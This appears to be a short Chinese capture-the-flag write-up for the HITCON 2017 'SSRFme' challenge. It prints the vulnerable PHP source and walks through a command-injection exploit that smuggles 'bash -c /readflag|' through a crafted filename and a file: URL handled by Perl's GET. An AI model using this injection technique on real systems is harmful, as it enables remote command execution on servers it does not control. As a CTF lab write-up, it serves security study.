给了源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];//输出ip地址
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);//创建文件夹
@chdir($sandbox);//改变目录至改目录下
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);//pathinfo()函数
$dir = str_replace(".", "", basename($info["dirname"]));//目录路径
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);//文件名
highlight_file(__FILE__);
这里会将orange和ip地址进行拼接,然后md5加密,创建该文件夹。
需要注意shell_exec("GET " . escapeshellarg($_GET["url"]))
存在命令执行,前提是文件名可控,且文件必须存在,然后才能触发代码执行
perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)_WHOAMIAnony的博客-优快云博客
首先查看下根目录文件
?url=/&filename=a
创建后,访问
/sandbox/xxxxxxxxxxxxxxxxx/a
其中xxxxxxxxxxxxxxxxx
每个人都不同,这里只是代称,可以通过本地运行得到
<?php
$a = "111.111.111.111";//举例
$sandbox = "sandbox/" . md5("orange" . $a);
echo $sandbox;//输出xxxxxxxxxxxxxxxxxxx
可以看到有个readflag
先创建文件bash -c /readflag|
?url=&filename=bash -c /readflag|
创建文件后,再通过file协议,将读取的flag放入$data中,通过file_put_contents导入a中,然后访问a即可
?url=file:bash -c /readflag|&filename=a
/sandbox/xxxxxxxxxxxxxxxx/a